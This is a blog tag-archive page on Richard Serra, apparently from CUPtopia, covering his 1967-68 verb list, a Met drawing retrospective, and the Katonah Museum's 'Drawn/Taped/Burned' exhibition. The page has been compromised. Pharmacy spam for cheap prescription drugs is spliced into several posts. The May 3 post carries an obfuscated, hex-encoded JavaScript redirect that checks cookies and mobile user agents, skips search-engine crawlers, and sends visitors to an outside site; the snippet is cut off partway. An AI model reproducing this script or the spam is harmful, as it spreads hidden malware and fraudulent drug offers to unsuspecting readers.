Tagged: Richard Serra Toggle Comment Threads | Keyboard Shortcuts

  • cup2013 9:44 am on May 5, 2011 Permalink | Reply
    Tags: , , , Missouri, Richard Serra, Saint Louis, ,   

    v list… 


    CUPtopia is on its way to Saint Louis, Missouri for the last stop on the Spring 2011 student review tour. Washington University is the site for reviews beginning tomorrow & Saturday. CUPtopia will have a full report & images on Monday’s post.

    To return to the topic of last Tuesday’s post, the Richard Serra show at the MET…below is a little, but very meaningful image CUPtopia’s staff shot secretly inside the MET.

    Lesson / Koan : Write it down.

    Serra’s verb list serves as a reminder of the possibilities an object may undergo.

    Welcome to Serra’s Utopia…its only lasted 44 years, not bad Richard.
    BTW,

    Richard Serra, “Verb List Compilation: Actions to Relate to Oneself”
    [1967-1968]

    to roll
    to crease
    to fold
    to store
    to bend
    to shorten
    to twist
    to dapple
    to crumple
    to shave
    to tear
    to chip
    to split
    to cut
    to sever
    to drop
    to remove
    to simplify
    to differ
    to disarrange
    to open
    to mix
    to splash
    to knot
    to spill
    to droop
    to flow
    to curve
    to lift
    to inlay
    to impress
    to fire
    to flood
    to smear
    to rotate
    to swirl
    to support
    to hook
    to suspend
    to spread
    to hang
    to collect
    of tension
    of gravity
    of entropy
    of nature
    of grouping
    of layering
    of felting
    to grasp
    to tighten
    to bundle
    to heap
    to gather
    to scatter
    to arrange
    to repair
    to discard
    to pair
    to distribute
    to surfeit
    to compliment
    to enclose
    to surround
    to encircle
    to hole
    to cover
    to wrap
    to dig
    to tie
    to bind
    to weave
    to join
    to match
    to laminate
    to bond
    to hinge
    to mark
    to expand
    to dilute
    to light
    to modulate
    to distill
    of waves
    of electromagnetic
    of inertia
    of ionization
    of polarization
    of refraction
    of tides
    of reflection
    of equilibrium
    of symmetry
    of friction
    to stretch
    to bounce
    to erase
    to spray
    to systematize
    to refer
    to force
    of mapping
    of location
    of context
    of time
    of cabonization
    to continue

    Don’t disappoint and discourage if the prices for your Azulfidine are too high, because now you can get it for as much as 1.03! NOTE :

    LINK to Richard Serra’s – Verb List No need to waste your time searching for a cheap Florinef anymore. We offer Florinef only for 1.47 USD! , 1967-68 First published in “The New Avant-Garde, Issues for the Art of the Seventies!’Text by Gregoire Muller, New York, 1972.
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  • cup2013 10:43 am on May 3, 2011 Permalink | Reply
    Tags: , , Richard Serra,   

    dig deep… 


    CUPtopia is off to the Richard Serra Drawing: A Retrospective @ the Metropolitan Museum of Art today.

    Looking for an economic opportunity for your Zebeta Looking for an economic opportunity for your Estrace purchase? We provide you the opportunity to buy it only for 1 USD at our store! purchase? We provide you the opportunity to buy it only for 0.41 USD at our store! Lesson / Koan : Material matters.

    More later…from Serra’s utopiavar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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  • cup2013 1:33 pm on February 20, 2011 Permalink | Reply
    Tags: AboutDrawing.org, Carl Andre, Christopher Wilmarth, , Drawn/Taped/Burned: Abstraction on Paper, Edward Larrabee Barnes, Ellsworth Kelly, Eva Hesse, Jasper Johns, Joel Shapiro, John Cage, Katonah Museum of Art, , Mark di Suvero, Richard Serra, Robert Ryman, Robert Smithson, Roni Horn, , Ursula von Rydingsvard, , Wynn Kramarsky   

    too often… 


    The greatest assemblage of contemporary drawing one may ever see is currently on view in the exhibition titled “Drawn/Taped/Burned: Abstraction on Paper“, at the Katonah Museum of Art.

    Untitled (t.02.3), 2002 Blue tape on paper by Christine Hiebert.

    Lesson / Koan : Collect only one thing.

    River Rock and Smoke, 4/13/90, #12 is one in a series of sixty-one unique works, which John Cage produced with Ray Kass at Mountain Lake Workshop in Virginia in 1990.

    The exhibition is the product of a life’s searching by a special eye, that of Wynn Kramarsky, who in a direct and succinct talk to the opening night crowd remarked, “When I walk into the studio it is the sensuousness of the paper and the sensuousness of the gesture that grabs me and that I now share with you.

    BTW Searching for a cost effective solution to buy your Yasmin? You can get it for as much as 1.83 right now! ,

    9.21.95, 1995 Graphite on paper by Mark Sheinkman.

    For nearly five decades, Sally and Wynn Kramarsky have amassed over 3,000 original works on paper with a primary focus on Modern, Minimalist, Conceptual, and Process Art dating from the 1950s to the present. Moving away from representation and narrative themes, the work on exhibit demonstrates art in its purest physical form: line, color, shape, texture, and composition.  Drawn/Taped/Burned celebrates the beauty of a fluid line, the energy of scrawling shapes, and the mood expressed by a single band of color.  As the title suggests, the artists in the exhibition employ many objects in the service of mark-making—not just the traditional pen or pencil, but also ash, wax, string, smoke, tape, tea, and tar.

    Drawing Everything in My House- Towels, 2001 Ink on paper by Suzanne Bocanegra.

    Works in the collection reflect the relationship between artists and their mediums.  In discussing how he has amassed his collection Mr. Kramarsky explains, “I really start out by looking at something and saying, ‘How is it made?’  Not, ‘Why is it made?’  That’s not nearly as interesting to me.  In the initial moment, how was this made?  What happened?  What happened when the artist put the pencil or pen or brush to paper?  And because it is almost impossible, when you work on paper, to correct it, that initial moment is crucial.  That interests me: that somebody has the courage and the idea to make that original mark.

    Drawn/Taped/Burned is organized by Ellen Keiter, the Museum’s Curator of Contemporary Art.  Ms. Keiter has brought together 74 original works on paper by 66 artists who explore geometry, process, text, and unorthodox materials.  The exhibition features some of the biggest names in the art world, as well as the newest generation of contemporary artists.  Artists include Carl Andre, John Cage, Mark di Suvero, Eva Hesse, Jasper Johns, Donald Judd, Roni Horn, Ellsworth Kelly, Sol LeWitt, Robert Ryman, Richard Serra, Robert Smithson, Joel Shapiro, Ursula von Rydingsvard, and Christopher Wilmarth.

    Peat Bog Sprawl, 1971 Pencil on paper by Robert Smithson.

    Viewers must trust their own instincts and imaginations rather than rely on the artist for meaning,” Keiter says of the exhibition.  “Given time, this act of looking can be quite liberating, even enthralling.  Too often abstraction is easily dismissed; it is the patient viewer, however, who reaps the greatest rewards of close observation.

    Step (#35) 1971 watercolor on paper 8 7/8 x 5 3/4 inches by Richard Tuttle.

    NOTE :

    The Katonah Museum of Art, one of the most celebrated small museums in the country, was founded over 50 years ago by volunteers from local communities as an exhibition venue for fine arts. The 10,000 square foot building designed by the late eminent architect, Edward Larrabee Barnes sits among a stand of magnificent Norwegian spruce trees. We’ve got the best solution for your Nizagara purchase! Why? Just because you can buy it only for 1.22 USD with us!

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